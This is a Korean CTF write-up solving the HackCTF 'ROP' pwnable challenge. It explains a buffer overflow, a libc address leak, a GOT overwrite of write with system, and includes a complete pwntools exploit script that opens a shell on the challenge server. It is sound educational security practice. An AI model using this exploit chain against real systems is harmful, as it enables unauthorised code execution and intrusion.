HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는
HackCTF
Do you wanna be a God? If so, Challenge!
ctf.j0n9hyun.xyz
오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로
ROP 문제입니다.
해당 문제는 문제 이름처럼 ROP 기법을 사용해야 풀 수 있습니다.
ROP 기법 설명과 이번 문제와 매우 유사한 문제 풀이 방식을 다음 사이트에서 공부하였습니다.
ROP (Return Oriented Programming)
ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..
d4m0n.tistory.com
문제 풀이를 그럼 시작해봅시다~!!

문제 이름이 ROP인 것을 통해서 ROP 기법에 관련된 문제인 것을 추측해볼 수 있다.
해당 zip 파일을 다운 받고, IDA Pro로 분석해보자.

코드는 매우 간단했다. 취약한 함수를 실행시키고 hello world를 출력한다.
취약한 함수를 살펴보면,

buf의 사이즈는 0x88인데, 그것보다 더 큰 0x100까지 read함수를 통해 입력 받는다.
즉, BOF가 발생할 수 있다.
(RTL을 통해서 문제를 풀고 싶었지만, 문제 이름이 ROP인 것처럼 ASLR이 적용되어서 라이브러리 주소가 계속 바뀐다.)
코드에서 read와 write 함수만 사용하기 때문에 우리는 read와 write를 활용해서 system 함수를 실행시킬 수 있어야 한다.
일반적인 ROP처럼 bss영역에 "/bin/sh"를 작성하고,
system 함수를 실행시키면서 인자로 넘겨주어야 한다.
이를 가능하게 하려면 우선, 특정 함수의 실제 주소와 libc_base로부터 격차를 알아내고,
libc_base로부터 system 함수의 격차를 알아내어,
system 함수의 실제 주소를 알아내야 한다.
즉,
특정 함수의 실제 주소와 libc_base와의 격차, system 함수의 libc_base와의 격차를 통해
----> system 함수 실제 주소
를 얻고,
쓸만한 bss 영역 주소 값을 알아내서 "/bin/sh"를 입력하고,
system 함수를 "/bin/sh"를 인자로 실행시켜야 한다는 의미이다.
이때, read 함수가 특정 함수에 해당한다.
이제 어느정도 어떻게 해야할 지 윤곽이 잡혔을 것이다.
단계별로 생각해보면,
1단계: wirte 함수를 활용해서 read 함수의 주소를 얻기
2단계: read 함수를 사용해, bss 영역에 "/bin/sh" 입력
3단계: read함수의 주소와 격차, system 함수의 격차 값을 이용해 실제 system 함수 주소 얻기
4단계: read 함수를 사용해, write_got를 system 함수 주소로 덮기
5단계: write 함수(실제로는 system 함수가 실행됨)를 실행시키면서 인자로 "/bin/sh" 넘겨주기
우선, read함수와 write 함수를 연속해서 사용하므로 pop-pop-pop-ret gadget이 필요하다.
해당 gadget은
ROPgadget --binary rop | grep 'ret'
리눅스 실행 환경에서 명령어를 통해서 얻을 수 있다.

p3ret gadget 주소 = 0x08048509
그리고, "/bin/sh"를 저장할 적당한 공간이 필요한데,
readelf -S rop
명령어를 통해서 얻을 수 있다.

bss 영역 주소 = 0x0804a024
이를 바탕으로 페이로드를 작성하면 다음과 같다.
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
log.info('read1: 0x%x' %read_got) # 확인차
write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']
system_offset = libc.symbols['system']
p3ret = 0x08048509
bss = 0x0804a024
payload = "a"*140
payload += p32(write_plt)
payload += p32(p3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
payload += p32(write_plt)
payload += "a"*4
payload += p32(bss)
p.send(payload)
read_address = u32(p.recv(4))
log.info('read2: 0x%x' %read_address) # 확인차
p.send("/bin/sh\x00")
system_address = read_address - read_offset + system_offset
log.info('system_address: 0x%x' %system_address) #확인차
p.send(p32(system_address))
p.interactive()
페이로드 해설
우선, read, write의 plt, got 값을 알아내고, libc_base로부터의 각각의 offset도 알아낸다.
system 함수의 libc_base로부터의 offset도 알아낸다.
p3ret과 bss 주소도 변수에 대입한다.
read에서 BOF를 일으키기 위해서 140바이트를 더미로 채우고,
ret 부분에 write_plt 주소를 넣고 인자로 1, read_got, 4를 넣어 read함수 주소를 알아낸다.
이어서(chaining), read 함수를 실행시키는데 인자로 0, bss 주소, 8을 줘서 "/bin/sh"를 입력할 수 있게 한다.
이어서(chaining), read 함수를 또 실행시키는데 인자로 0, write_got, 4를 줘서 write_got 값에 system 함수 주소를 입력할 수 있게 하여, GotOverwrite를 일으킨다.
이어서(chaining), system함수 주소 값으로 got가 덮인 write함수를 실행시키고 인자로 bss("/bin/sh)를 줘서 권한을 획득한다.
system 함수 주소는 다음 과정을 거쳐 구한다.
libc_base = read 함수 주소 - libc_base로부터 격차
system 주소 = libc_base + system함수의 libc_base로부터 격차
추가적으로 "/bin/sh\x00" 을 넣은 이유는 뒤에 이상한 값이 읽히는 것을 방지하기 위함이다.
해당 페이로드를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있었다.

이렇게 문제가 해결된다.
부가적으로 이 문제를 풀면서, Got EOF 때문에 오랫동안 삽질을 했는데
갓성염님의 도움으로 해결할 수 있었다.
(항상 도움 많이 받아서 너무 고맙습니다 :) )
저번 문제에서는 fgets에서 senline을 사용하지 않아서 발생한 문제였는데,
이번 문제에서는 sendline을 사용해서 EOF가 발생하였다. send로 고쳐주니 잘 실행되었다.
'Wargame > Pwnable' 카테고리의 다른 글
| [포너블] Ggang CTF babyrop 문제 풀이 | 64비트 ROP, libc가 주어지지 않았을 때 (2) | 2021.01.26 |
|---|---|
| [포너블] HackCTF RTL_CORE 문제풀이 | libc base leak, RTL (0) | 2021.01.25 |
| [포너블] HackCTF gift 문제 풀이 | ROP 기법 (RTL, RTL chaining, Got Overwrite) (0) | 2021.01.18 |
| [포너블] HackCTF Basic_FSB 문제 풀이 | FSB, IDA pro 사용 (0) | 2021.01.14 |
| [포너블] HackCTF Basic_BOF #1문제 풀이 | BOF, IDA Pro 사용 (0) | 2021.01.14 |
